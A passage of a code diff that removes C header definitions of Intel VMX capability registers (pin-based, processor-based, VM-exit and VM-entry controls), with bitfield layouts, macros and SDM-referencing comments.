(IDT). If this control is 1, the value of RFLAGS.IF does not affect interrupt blocking. - */ - uint64_t external_interrupt_exiting : 1; -#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_BIT 0 -#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_FLAG 0x01 -#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING_MASK 0x01 -#define IA32_VMX_PINBASED_CTLS_EXTERNAL_INTERRUPT_EXITING(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 2; - - /** - * @brief Non-maskable interrupts cause VM-exits if set; otherwise dispatched through the guest's IDT - * - * [Bit 3] If this control is 1, non-maskable interrupts (NMIs) cause VM exits. Otherwise, they are delivered normally - * using descriptor 2 of the IDT. This control also determines interactions between IRET and blocking by NMI. - * - * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] - */ - uint64_t nmi_exiting : 1; -#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_BIT 3 -#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_FLAG 0x08 -#define IA32_VMX_PINBASED_CTLS_NMI_EXITING_MASK 0x01 -#define IA32_VMX_PINBASED_CTLS_NMI_EXITING(_) (((_) >> 3) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief Virtual NMIs - * - * [Bit 5] If this control is 1, NMIs are never blocked and the "blocking by NMI" bit (bit 3) in the interruptibility-state - * field indicates "virtual-NMI blocking". This control also interacts with the "NMI-window exiting" VM-execution control. - * - * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] - */ - uint64_t virtual_nmi : 1; -#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_BIT 5 -#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_FLAG 0x20 -#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI_MASK 0x01 -#define IA32_VMX_PINBASED_CTLS_VIRTUAL_NMI(_) (((_) >> 5) & 0x01) - - /** - * @brief Activate VMX preemption timer - * - * [Bit 6] If this control is 1, the VMX-preemption timer counts down in VMX non-root operation. A VM exit occurs when the - * timer counts down to zero. - * - * @see Vol3C[25.5.1(VMX-Preemption Timer)] - * @see Vol3C[25.2(OTHER CAUSES OF VM EXITS)] - */ - uint64_t activate_vmx_preemption_timer : 1; -#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_BIT 6 -#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_FLAG 0x40 -#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER_MASK 0x01 -#define IA32_VMX_PINBASED_CTLS_ACTIVATE_VMX_PREEMPTION_TIMER(_) (((_) >> 6) & 0x01) - - /** - * @brief Process interrupts with the posted-interrupt notification vector - * - * [Bit 7] If this control is 1, the processor treats interrupts with the posted-interrupt notification vector specially, - * updating the virtual-APIC page with posted-interrupt requests. - * - * @see Vol3C[24.6.8(Controls for APIC Virtualization)] - * @see Vol3C[29.6(POSTED-INTERRUPT PROCESSING)] - */ - uint64_t process_posted_interrupts : 1; -#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_BIT 7 -#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_FLAG 0x80 -#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS_MASK 0x01 -#define IA32_VMX_PINBASED_CTLS_PROCESS_POSTED_INTERRUPTS(_) (((_) >> 7) & 0x01) - uint64_t reserved3 : 56; - }; - - uint64_t flags; -} ia32_vmx_pinbased_ctls_register; - - -/** - * Capability Reporting Register of Primary Processor-Based VM-Execution Controls. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.3.2(Primary Processor-Based VM-Execution Controls)] - * @see Vol3C[24.6.2(Processor-Based VM-Execution Controls)] (reference) - */ -#define IA32_VMX_PROCBASED_CTLS 0x00000482 -typedef union -{ - struct - { - uint64_t reserved1 : 2; - - /** - * @brief VM-exit as soon as RFLAGS.IF=1 and no blocking is active - * - * [Bit 2] If this control is 1, a VM exit occurs at the beginning of any instruction if RFLAGS.IF = 1 and there are no - * other blocking of interrupts. - * - * @see Vol3C[24.4.2(Guest Non-Register State)] - */ - uint64_t interrupt_window_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_BIT 2 -#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_FLAG 0x04 -#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_INTERRUPT_WINDOW_EXITING(_) (((_) >> 2) & 0x01) - - /** - * @brief Use timestamp counter offset - * - * [Bit 3] This control determines whether executions of RDTSC, executions of RDTSCP, and executions of RDMSR that read - * from the IA32_TIME_STAMP_COUNTER MSR return a value modified by the TSC offset field. - * - * @see Vol3C[24.6.5(Time-Stamp Counter Offset and Multiplier)] - * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] - */ - uint64_t use_tsc_offsetting : 1; -#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_BIT 3 -#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_FLAG 0x08 -#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_USE_TSC_OFFSETTING(_) (((_) >> 3) & 0x01) - uint64_t reserved2 : 3; - - /** - * @brief VM-exit when executing the HLT instruction - * - * [Bit 7] This control determines whether executions of HLT cause VM exits. - */ - uint64_t hlt_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_BIT 7 -#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_FLAG 0x80 -#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_HLT_EXITING(_) (((_) >> 7) & 0x01) - uint64_t reserved3 : 1; - - /** - * @brief VM-exit when executing the INVLPG instruction - * - * [Bit 9] This control determines whether executions of INVLPG cause VM exits. - */ - uint64_t invlpg_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_BIT 9 -#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_FLAG 0x200 -#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_INVLPG_EXITING(_) (((_) >> 9) & 0x01) - - /** - * @brief VM-exit when executing the MWAIT instruction - * - * [Bit 10] This control determines whether executions of MWAIT cause VM exits. - */ - uint64_t mwait_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_BIT 10 -#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_FLAG 0x400 -#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_MWAIT_EXITING(_) (((_) >> 10) & 0x01) - - /** - * @brief VM-exit when executing the RDPMC instruction - * - * [Bit 11] This control determines whether executions of RDPMC cause VM exits. - */ - uint64_t rdpmc_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_BIT 11 -#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_FLAG 0x800 -#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_RDPMC_EXITING(_) (((_) >> 11) & 0x01) - - /** - * @brief VM-exit when executing the RDTSC/RDTSCP instruction - * - * [Bit 12] This control determines whether executions of RDTSC and RDTSCP cause VM exits. - */ - uint64_t rdtsc_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_BIT 12 -#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_FLAG 0x1000 -#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_RDTSC_EXITING(_) (((_) >> 12) & 0x01) - uint64_t reserved4 : 2; - - /** - * @brief VM-exit when executing the MOV to CR3 instruction (forced to 1 on the 'first' VT-x capable CPUs; this actually - * includes the newest Nehalem CPUs) - * - * [Bit 15] In conjunction with the CR3-target controls, this control determines whether executions of MOV to CR3 cause VM - * exits. The first processors to support the virtual-machine extensions supported only the 1-setting of this control. - * - * @see Vol3C[24.6.7(CR3-Target Controls)] - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ - uint64_t cr3_load_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_BIT 15 -#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_FLAG 0x8000 -#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_CR3_LOAD_EXITING(_) (((_) >> 15) & 0x01) - - /** - * @brief VM-exit when executing the MOV from CR3 instruction (forced to 1 on the 'first' VT-x capable CPUs; this actually - * includes the newest Nehalem CPUs) - * - * [Bit 16] This control determines whether executions of MOV from CR3 cause VM exits. The first processors to support the - * virtual-machine extensions supported only the 1-setting of this control. - */ - uint64_t cr3_store_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_BIT 16 -#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_FLAG 0x10000 -#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_CR3_STORE_EXITING(_) (((_) >> 16) & 0x01) - uint64_t reserved5 : 2; - - /** - * @brief VM-exit on CR8 loads - * - * [Bit 19] This control determines whether executions of MOV to CR8 cause VM exits. - */ - uint64_t cr8_load_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_BIT 19 -#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_FLAG 0x80000 -#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_CR8_LOAD_EXITING(_) (((_) >> 19) & 0x01) - - /** - * @brief VM-exit on CR8 stores - * - * [Bit 20] This control determines whether executions of MOV from CR8 cause VM exits. - */ - uint64_t cr8_store_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_BIT 20 -#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_FLAG 0x100000 -#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_CR8_STORE_EXITING(_) (((_) >> 20) & 0x01) - - /** - * @brief Use TPR shadow - * - * [Bit 21] Setting this control to 1 enables TPR virtualization and other APIC-virtualization features. - * - * @see Vol3C[29(APIC VIRTUALIZATION AND VIRTUAL INTERRUPTS)] - */ - uint64_t use_tpr_shadow : 1; -#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_BIT 21 -#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_FLAG 0x200000 -#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_USE_TPR_SHADOW(_) (((_) >> 21) & 0x01) - - /** - * @brief VM-exit when virtual NMI blocking is disabled - * - * [Bit 22] If this control is 1, a VM exit occurs at the beginning of any instruction if there is no virtual-NMI blocking. - * - * @see Vol3C[24.4.2(Guest Non-Register State)] - */ - uint64_t nmi_window_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_BIT 22 -#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_FLAG 0x400000 -#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_NMI_WINDOW_EXITING(_) (((_) >> 22) & 0x01) - - /** - * @brief VM-exit when executing a MOV DRx instruction - * - * [Bit 23] This control determines whether executions of MOV DR cause VM exits. - */ - uint64_t mov_dr_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_BIT 23 -#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_FLAG 0x800000 -#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_MOV_DR_EXITING(_) (((_) >> 23) & 0x01) - - /** - * @brief VM-exit when executing IO instructions - * - * [Bit 24] This control determines whether executions of I/O instructions (IN, INS/INSB/INSW/INSD, OUT, and - * OUTS/OUTSB/OUTSW/OUTSD) cause VM exits. - */ - uint64_t unconditional_io_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_BIT 24 -#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_FLAG 0x1000000 -#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_UNCONDITIONAL_IO_EXITING(_) (((_) >> 24) & 0x01) - - /** - * @brief Use IO bitmaps - * - * [Bit 25] This control determines whether I/O bitmaps are used to restrict executions of I/O instructions For this - * control, "0" means "do not use I/O bitmaps" and "1" means "use I/O bitmaps." If the I/O bitmaps are used, the setting of - * the "unconditional I/O exiting" control is ignored. - * - * @see Vol3C[24.6.4(I/O-Bitmap Addresses)] - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ - uint64_t use_io_bitmaps : 1; -#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_BIT 25 -#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_FLAG 0x2000000 -#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_USE_IO_BITMAPS(_) (((_) >> 25) & 0x01) - uint64_t reserved6 : 1; - - /** - * @brief Monitor trap flag - * - * [Bit 27] If this control is 1, the monitor trap flag debugging feature is enabled. - * - * @see Vol3C[25.5.2(Monitor Trap Flag)] - */ - uint64_t monitor_trap_flag : 1; -#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_BIT 27 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_FLAG 0x8000000 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_TRAP_FLAG(_) (((_) >> 27) & 0x01) - - /** - * @brief Use MSR bitmaps - * - * [Bit 28] This control determines whether MSR bitmaps are used to control execution of the RDMSR and WRMSR instructions. - * For this control, "0" means "do not use MSR bitmaps" and "1" means "use MSR bitmaps." If the MSR bitmaps are not used, - * all executions of the RDMSR and WRMSR instructions cause VM exits. - * - * @see Vol3C[24.6.9(MSR-Bitmap Address)] - * @see Vol3C[25.1.3(Instructions That Cause VM Exits Conditionally)] - */ - uint64_t use_msr_bitmaps : 1; -#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_BIT 28 -#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_FLAG 0x10000000 -#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_USE_MSR_BITMAPS(_) (((_) >> 28) & 0x01) - - /** - * @brief VM-exit when executing the MONITOR instruction - * - * [Bit 29] This control determines whether executions of MONITOR cause VM exits. - */ - uint64_t monitor_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_BIT 29 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_FLAG 0x20000000 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_MONITOR_EXITING(_) (((_) >> 29) & 0x01) - - /** - * @brief VM-exit when executing the PAUSE instruction - * - * [Bit 30] This control determines whether executions of PAUSE cause VM exits. - */ - uint64_t pause_exiting : 1; -#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_BIT 30 -#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_FLAG 0x40000000 -#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_PAUSE_EXITING(_) (((_) >> 30) & 0x01) - - /** - * @brief Determines whether the secondary processor based VM-execution controls are used - * - * [Bit 31] This control determines whether the secondary processor-based VM-execution controls are used. If this control - * is 0, the logical processor operates as if all the secondary processor-based VM-execution controls were also 0. - */ - uint64_t activate_secondary_controls : 1; -#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_BIT 31 -#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_FLAG 0x80000000 -#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS_MASK 0x01 -#define IA32_VMX_PROCBASED_CTLS_ACTIVATE_SECONDARY_CONTROLS(_) (((_) >> 31) & 0x01) - uint64_t reserved7 : 32; - }; - - uint64_t flags; -} ia32_vmx_procbased_ctls_register; - - -/** - * Capability Reporting Register of VM-Exit Controls. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.4(VM-EXIT CONTROLS)] - * @see Vol3C[24.7.1(VM-Exit Controls)] (reference) - */ -#define IA32_VMX_EXIT_CTLS 0x00000483 -typedef union -{ - struct - { - uint64_t reserved1 : 2; - - /** - * @brief Save guest debug controls (dr7 & IA32_DEBUGCTL_MSR) (forced to 1 on the 'first' VT-x capable CPUs; this actually - * includes the newest Nehalem CPUs) - * - * [Bit 2] This control determines whether DR7 and the IA32_DEBUGCTL MSR are saved on VM exit. The first processors to - * support the virtual-machine extensions supported only the 1-setting of this control. - */ - uint64_t save_debug_controls : 1; -#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_BIT 2 -#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_FLAG 0x04 -#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_SAVE_DEBUG_CONTROLS(_) (((_) >> 2) & 0x01) - uint64_t reserved2 : 6; - - /** - * @brief Return to long mode after a VM-exit - * - * [Bit 9] On processors that support Intel 64 architecture, this control determines whether a logical processor is in - * 64-bit mode after the next VM exit. Its value is loaded into CS.L, IA32_EFER.LME, and IA32_EFER.LMA on every VM exit.1 - * This control must be 0 on processors that do not support Intel 64 architecture. - */ - uint64_t host_address_space_size : 1; -#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_BIT 9 -#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_FLAG 0x200 -#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_HOST_ADDRESS_SPACE_SIZE(_) (((_) >> 9) & 0x01) - uint64_t reserved3 : 2; - - /** - * @brief Whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM-exit - * - * [Bit 12] This control determines whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM exit. - */ - uint64_t load_ia32_perf_global_ctrl : 1; -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_BIT 12 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_FLAG 0x1000 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL(_) (((_) >> 12) & 0x01) - uint64_t reserved4 : 2; - - /** - * @brief Acknowledge external interrupts with the irq controller if one caused a VM-exit - * - * [Bit 15] This control affects VM exits due to external interrupts: - * - If such a VM exit occurs and this control is 1, the logical processor acknowledges the interrupt controller, acquiring - * the interrupt's vector. The vector is stored in the VM-exit interruption-information field, which is marked valid. - * - If such a VM exit occurs and this control is 0, the interrupt is not acknowledged and the VM-exit - * interruption-information field is marked invalid. - */ - uint64_t acknowledge_interrupt_on_exit : 1; -#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_BIT 15 -#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_FLAG 0x8000 -#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_ACKNOWLEDGE_INTERRUPT_ON_EXIT(_) (((_) >> 15) & 0x01) - uint64_t reserved5 : 2; - - /** - * @brief Whether the guest IA32_PAT MSR is saved on VM-exit - * - * [Bit 18] This control determines whether the IA32_PAT MSR is saved on VM exit. - */ - uint64_t save_ia32_pat : 1; -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_BIT 18 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_FLAG 0x40000 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_PAT(_) (((_) >> 18) & 0x01) - - /** - * @brief Whether the host IA32_PAT MSR is loaded on VM-exit - * - * [Bit 19] This control determines whether the IA32_PAT MSR is loaded on VM exit. - */ - uint64_t load_ia32_pat : 1; -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_BIT 19 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_FLAG 0x80000 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_PAT(_) (((_) >> 19) & 0x01) - - /** - * @brief Whether the guest IA32_EFER MSR is saved on VM-exit - * - * [Bit 20] This control determines whether the IA32_EFER MSR is saved on VM exit. - */ - uint64_t save_ia32_efer : 1; -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_BIT 20 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_FLAG 0x100000 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_SAVE_IA32_EFER(_) (((_) >> 20) & 0x01) - - /** - * @brief Whether the host IA32_EFER MSR is loaded on VM-exit - * - * [Bit 21] This control determines whether the IA32_EFER MSR is loaded on VM exit. - */ - uint64_t load_ia32_efer : 1; -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_BIT 21 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_FLAG 0x200000 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_LOAD_IA32_EFER(_) (((_) >> 21) & 0x01) - - /** - * @brief Whether the value of the VMX preemption timer is saved on every VM-exit - * - * [Bit 22] This control determines whether the value of the VMX-preemption timer is saved on VM exit. - */ - uint64_t save_vmx_preemption_timer_value : 1; -#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_BIT 22 -#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_FLAG 0x400000 -#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_SAVE_VMX_PREEMPTION_TIMER_VALUE(_) (((_) >> 22) & 0x01) - - /** - * [Bit 23] This control determines whether the IA32_BNDCFGS MSR is cleared on VM exit. - */ - uint64_t clear_ia32_bndcfgs : 1; -#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_BIT 23 -#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_FLAG 0x800000 -#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_CLEAR_IA32_BNDCFGS(_) (((_) >> 23) & 0x01) - - /** - * [Bit 24] If this control is 1, Intel Processor Trace does not produce a paging information packet (PIP) on a VM exit or - * a VMCS packet on an SMM VM exit. - * - * @see Vol3C[35(INTEL(R) PROCESSOR TRACE)] - */ - uint64_t conceal_vmx_from_pt : 1; -#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_BIT 24 -#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_FLAG 0x1000000 -#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT_MASK 0x01 -#define IA32_VMX_EXIT_CTLS_CONCEAL_VMX_FROM_PT(_) (((_) >> 24) & 0x01) - uint64_t reserved6 : 39; - }; - - uint64_t flags; -} ia32_vmx_exit_ctls_register; - - -/** - * Capability Reporting Register of VM-Entry Controls. - * - * @remarks If CPUID.01H:ECX.[5] = 1 - * @see Vol3D[A.5(VM-ENTRY CONTROLS)] - * @see Vol3D[24.8.1(VM-Entry Controls)] (reference) - */ -#define IA32_VMX_ENTRY_CTLS 0x00000484 -typedef union -{ - struct - { - uint64_t reserved1 : 2; - - /** - * @brief Load guest debug controls (dr7 & IA32_DEBUGCTL_MSR) (forced to 1 on the 'first' VT-x capable CPUs; this actually - * includes the newest Nehalem CPUs) - * - * [Bit 2] This control determines whether DR7 and the IA32_DEBUGCTL MSR are loaded on VM entry. The first processors to - * support the virtual-machine extensions supported only the 1-setting of this control. - */ - uint64_t load_debug_controls : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_BIT 2 -#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_FLAG 0x04 -#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_DEBUG_CONTROLS(_) (((_) >> 2) & 0x01) - uint64_t reserved2 : 6; - - /** - * @brief 64 bits guest mode. Must be 0 for CPUs that don't support AMD64 - * - * [Bit 9] On processors that support Intel 64 architecture, this control determines whether the logical processor is in - * IA-32e mode after VM entry. Its value is loaded into IA32_EFER.LMA as part of VM entry. This control must be 0 on - * processors that do not support Intel 64 architecture. - */ - uint64_t ia32e_mode_guest : 1; -#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_BIT 9 -#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_FLAG 0x200 -#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_IA32E_MODE_GUEST(_) (((_) >> 9) & 0x01) - - /** - * @brief In SMM mode after VM-entry - * - * [Bit 10] This control determines whether the logical processor is in system-management mode (SMM) after VM entry. This - * control must be 0 for any VM entry from outside SMM. - */ - uint64_t entry_to_smm : 1; -#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_BIT 10 -#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_FLAG 0x400 -#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_ENTRY_TO_SMM(_) (((_) >> 10) & 0x01) - - /** - * @brief Disable dual treatment of SMI and SMM; must be zero for VM-entry outside of SMM - * - * [Bit 11] If set to 1, the default treatment of SMIs and SMM is in effect after the VM entry. This control must be 0 for - * any VM entry from outside SMM - * - * @see Vol3C[34.15.7(Deactivating the Dual-Monitor Treatment)] - */ - uint64_t deactivate_dual_monitor_treatment : 1; -#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_BIT 11 -#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_FLAG 0x800 -#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_DEACTIVATE_DUAL_MONITOR_TREATMENT(_) (((_) >> 11) & 0x01) - uint64_t reserved3 : 1; - - /** - * @brief Whether the guest IA32_PERF_GLOBAL_CTRL MSR is loaded on VM-entry - * - * [Bit 13] This control determines whether the IA32_PERF_GLOBAL_CTRL MSR is loaded on VM entry. - */ - uint64_t load_ia32_perf_global_ctrl : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_BIT 13 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_FLAG 0x2000 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PERF_GLOBAL_CTRL(_) (((_) >> 13) & 0x01) - - /** - * @brief Whether the guest IA32_PAT MSR is loaded on VM-entry - * - * [Bit 14] This control determines whether the IA32_PAT MSR is loaded on VM entry. - */ - uint64_t load_ia32_pat : 1; -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_BIT 14 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_FLAG 0x4000 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT_MASK 0x01 -#define IA32_VMX_ENTRY_CTLS_LOAD_IA32_PAT(_) (((_) >> 14) & 0x01) - - /** - * @brief Whether the guest IA32_EFER MSR is loaded on VM-entry - * - * [Bit 15] This control determines whether the IA32_EFER MSR is loaded on VM entry. - */ - uint64_t load_ia32_efer : 1; -#define 